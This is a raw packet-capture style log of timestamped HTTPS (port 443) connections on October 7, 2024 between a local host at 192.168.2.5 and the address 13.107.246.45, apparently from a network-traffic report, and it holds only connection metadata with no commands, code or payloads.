Oct 7, 2024 06:44:52.627218962 CEST	49941	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.627227068 CEST	443	49941	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.699893951 CEST	443	49942	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.700315952 CEST	49942	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.700326920 CEST	443	49942	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.700875044 CEST	49942	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.700881004 CEST	443	49942	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.730559111 CEST	443	49941	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.730638027 CEST	443	49941	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.730680943 CEST	443	49941	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.730813026 CEST	49941	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.732633114 CEST	49941	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.732633114 CEST	49941	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.732633114 CEST	49941	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.735873938 CEST	49946	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.735915899 CEST	443	49946	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.735985041 CEST	49946	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.736110926 CEST	49946	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.736121893 CEST	443	49946	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.887365103 CEST	443	49943	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.888056040 CEST	49943	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.888089895 CEST	443	49943	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.888639927 CEST	49943	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.888644934 CEST	443	49943	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.900333881 CEST	443	49944	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.900934935 CEST	49944	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.900954008 CEST	443	49944	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.901484966 CEST	49944	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.901490927 CEST	443	49944	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.986735106 CEST	443	49943	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.986958981 CEST	443	49943	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.987030029 CEST	49943	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.987067938 CEST	49943	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.987076998 CEST	443	49943	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.987088919 CEST	49943	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.987092972 CEST	443	49943	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.990679026 CEST	49947	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.990703106 CEST	443	49947	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.990801096 CEST	49947	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.990998983 CEST	49947	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.991012096 CEST	443	49947	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.998265982 CEST	443	49944	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.998445988 CEST	443	49944	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.998507023 CEST	49944	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.998539925 CEST	49944	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.998547077 CEST	443	49944	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:52.998564005 CEST	49944	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:52.998568058 CEST	443	49944	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.001310110 CEST	49948	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.001348972 CEST	443	49948	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.001422882 CEST	49948	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.001571894 CEST	49948	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.001588106 CEST	443	49948	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.016195059 CEST	443	49942	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.016336918 CEST	443	49942	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.016408920 CEST	49942	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.016494036 CEST	49942	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.016494036 CEST	49942	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.016506910 CEST	443	49942	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.016518116 CEST	443	49942	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.018958092 CEST	49949	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.018990993 CEST	443	49949	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.019064903 CEST	49949	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.019206047 CEST	49949	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.019221067 CEST	443	49949	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.032465935 CEST	49941	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.032474995 CEST	443	49941	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.118649960 CEST	443	49945	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.119427919 CEST	49945	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.119457960 CEST	443	49945	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.120138884 CEST	49945	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.120146036 CEST	443	49945	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.220510006 CEST	443	49945	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.220558882 CEST	443	49945	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.220685959 CEST	443	49945	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.220706940 CEST	49945	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.220768929 CEST	49945	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.221046925 CEST	49945	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.221066952 CEST	443	49945	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.221079111 CEST	49945	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.221085072 CEST	443	49945	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.224241972 CEST	49950	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.224281073 CEST	443	49950	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.224361897 CEST	49950	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.224534988 CEST	49950	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.224550962 CEST	443	49950	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.379333973 CEST	443	49946	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.379928112 CEST	49946	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.379939079 CEST	443	49946	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.380620003 CEST	49946	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.380624056 CEST	443	49946	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.479262114 CEST	443	49946	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.479515076 CEST	443	49946	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.479615927 CEST	49946	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.479711056 CEST	49946	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.479723930 CEST	443	49946	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.479756117 CEST	49946	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.479762077 CEST	443	49946	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.482925892 CEST	49951	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.482981920 CEST	443	49951	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.483119965 CEST	49951	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.483266115 CEST	49951	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.483275890 CEST	443	49951	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.644644976 CEST	443	49948	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.645231962 CEST	49948	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.645317078 CEST	443	49948	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.645868063 CEST	49948	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.645891905 CEST	443	49948	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.648068905 CEST	443	49949	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.648472071 CEST	49949	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.648504019 CEST	443	49949	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.648859024 CEST	49949	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.648864031 CEST	443	49949	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.671864986 CEST	443	49947	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.672324896 CEST	49947	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.672354937 CEST	443	49947	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.672708035 CEST	49947	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.672715902 CEST	443	49947	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.742841959 CEST	443	49948	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.742970943 CEST	443	49948	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.743056059 CEST	49948	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.746292114 CEST	443	49949	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.746361971 CEST	443	49949	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.746423960 CEST	49949	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.750880957 CEST	49948	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.750880957 CEST	49948	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.750962019 CEST	443	49948	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.751003027 CEST	443	49948	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.751339912 CEST	49949	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.751357079 CEST	443	49949	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.751375914 CEST	49949	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.751382113 CEST	443	49949	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.757847071 CEST	49952	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.757930994 CEST	443	49952	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.758024931 CEST	49952	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.758374929 CEST	49952	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.758419037 CEST	443	49952	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.758968115 CEST	49953	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.759001970 CEST	443	49953	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.759071112 CEST	49953	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.759166956 CEST	49953	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.759176016 CEST	443	49953	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.775883913 CEST	443	49947	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.776040077 CEST	443	49947	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.776103973 CEST	49947	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.776216030 CEST	49947	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.776240110 CEST	443	49947	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.776257992 CEST	49947	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.776264906 CEST	443	49947	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.778850079 CEST	49954	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.778883934 CEST	443	49954	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.778947115 CEST	49954	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.779058933 CEST	49954	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.779067993 CEST	443	49954	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.863017082 CEST	443	49950	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.863471985 CEST	49950	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.863495111 CEST	443	49950	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.863953114 CEST	49950	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.863959074 CEST	443	49950	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.960947037 CEST	443	49950	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.961242914 CEST	443	49950	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.961338043 CEST	49950	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.961416960 CEST	49950	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.961416960 CEST	49950	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.961468935 CEST	443	49950	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.961494923 CEST	443	49950	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.963923931 CEST	49955	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.964047909 CEST	443	49955	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:53.964163065 CEST	49955	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.964276075 CEST	49955	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:53.964299917 CEST	443	49955	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.118452072 CEST	443	49951	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.126732111 CEST	49951	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.126800060 CEST	443	49951	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.127484083 CEST	49951	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.127522945 CEST	443	49951	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.222354889 CEST	443	49951	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.222421885 CEST	443	49951	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.222505093 CEST	49951	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.222851038 CEST	49951	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.222851038 CEST	49951	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.222919941 CEST	443	49951	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.222948074 CEST	443	49951	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.225766897 CEST	49956	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.225819111 CEST	443	49956	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.225939989 CEST	49956	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.226144075 CEST	49956	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.226156950 CEST	443	49956	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.391417027 CEST	443	49952	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.392220974 CEST	49952	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.392286062 CEST	443	49952	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.393018007 CEST	49952	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.393028975 CEST	443	49952	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.417696953 CEST	443	49954	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.418171883 CEST	49954	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.418195963 CEST	443	49954	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.418754101 CEST	49954	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.418760061 CEST	443	49954	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.489381075 CEST	443	49952	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.489442110 CEST	443	49952	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.489516973 CEST	49952	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.489782095 CEST	49952	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.489782095 CEST	49952	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.489862919 CEST	443	49952	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.489906073 CEST	443	49952	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.492723942 CEST	49957	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.492747068 CEST	443	49957	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.492837906 CEST	49957	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.493033886 CEST	49957	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.493046999 CEST	443	49957	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.600322008 CEST	443	49955	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.601048946 CEST	49955	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.601063013 CEST	443	49955	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.601434946 CEST	49955	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.601439953 CEST	443	49955	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.605458021 CEST	443	49954	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.605631113 CEST	443	49954	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.605705023 CEST	49954	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.605848074 CEST	49954	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.605863094 CEST	443	49954	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.605904102 CEST	49954	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.605910063 CEST	443	49954	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.609675884 CEST	49958	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.609711885 CEST	443	49958	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.609803915 CEST	49958	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.610054016 CEST	49958	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.610064030 CEST	443	49958	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.699273109 CEST	443	49955	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.699553967 CEST	443	49955	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.699606895 CEST	443	49955	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.699620962 CEST	49955	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.699672937 CEST	49955	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.699747086 CEST	49955	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.699759960 CEST	443	49955	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.699774981 CEST	49955	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.699779034 CEST	443	49955	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.703066111 CEST	49959	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.703113079 CEST	443	49959	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.703193903 CEST	49959	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.703367949 CEST	49959	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.703380108 CEST	443	49959	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.878051043 CEST	443	49956	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.878737926 CEST	49956	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.878770113 CEST	443	49956	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.879337072 CEST	49956	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.879343987 CEST	443	49956	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.979003906 CEST	443	49956	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.979094028 CEST	443	49956	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.979171991 CEST	49956	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.979415894 CEST	49956	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.979440928 CEST	443	49956	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.979451895 CEST	49956	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.979458094 CEST	443	49956	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.983124018 CEST	49960	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.983198881 CEST	443	49960	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:54.983319998 CEST	49960	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.983577013 CEST	49960	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:54.983596087 CEST	443	49960	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.130647898 CEST	443	49957	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.131202936 CEST	49957	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.131217957 CEST	443	49957	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.131814003 CEST	49957	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.131819010 CEST	443	49957	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.229063988 CEST	443	49957	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.229222059 CEST	443	49957	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.229274035 CEST	443	49957	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.229314089 CEST	49957	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.229350090 CEST	49957	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.229511976 CEST	49957	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.229532957 CEST	443	49957	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.229542971 CEST	49957	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.229547977 CEST	443	49957	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.232736111 CEST	49961	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.232789993 CEST	443	49961	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.232891083 CEST	49961	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.233215094 CEST	49961	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.233227968 CEST	443	49961	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.247530937 CEST	443	49958	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.247970104 CEST	49958	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.247978926 CEST	443	49958	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.248392105 CEST	49958	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.248397112 CEST	443	49958	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.341775894 CEST	443	49959	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.342320919 CEST	49959	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.342329979 CEST	443	49959	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.342940092 CEST	49959	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.342942953 CEST	443	49959	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.396691084 CEST	443	49953	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.397152901 CEST	49953	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.397164106 CEST	443	49953	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.397597075 CEST	49953	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.397600889 CEST	443	49953	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.403872013 CEST	443	49958	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.404073000 CEST	443	49958	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.404129028 CEST	49958	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.404170990 CEST	49958	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.404187918 CEST	443	49958	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.404198885 CEST	49958	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.404212952 CEST	443	49958	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.407989025 CEST	49962	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.408027887 CEST	443	49962	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.408102989 CEST	49962	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.408253908 CEST	49962	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.408266068 CEST	443	49962	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.441560030 CEST	443	49959	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.441646099 CEST	443	49959	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.441704988 CEST	49959	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.441878080 CEST	49959	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.441896915 CEST	443	49959	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.441907883 CEST	49959	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.441914082 CEST	443	49959	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.444379091 CEST	49963	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.444421053 CEST	443	49963	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.444490910 CEST	49963	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.444664001 CEST	49963	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.444679022 CEST	443	49963	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.494915009 CEST	443	49953	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.494985104 CEST	443	49953	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.495035887 CEST	49953	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.495049000 CEST	443	49953	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.495096922 CEST	443	49953	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.495143890 CEST	49953	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.495234966 CEST	49953	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.495253086 CEST	443	49953	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.495263100 CEST	49953	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.495269060 CEST	443	49953	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.498027086 CEST	49964	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.498070002 CEST	443	49964	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.498145103 CEST	49964	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.498321056 CEST	49964	443	192.168.2.5	13.107.246.45
Oct 7, 2024 06:44:55.498337030 CEST	443	49964	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.619189024 CEST	443	49960	13.107.246.45	192.168.2.5
Oct 7, 2024 06:44:55.619666100 CEST	49960	443	192.168.2.5	13.107.246.45
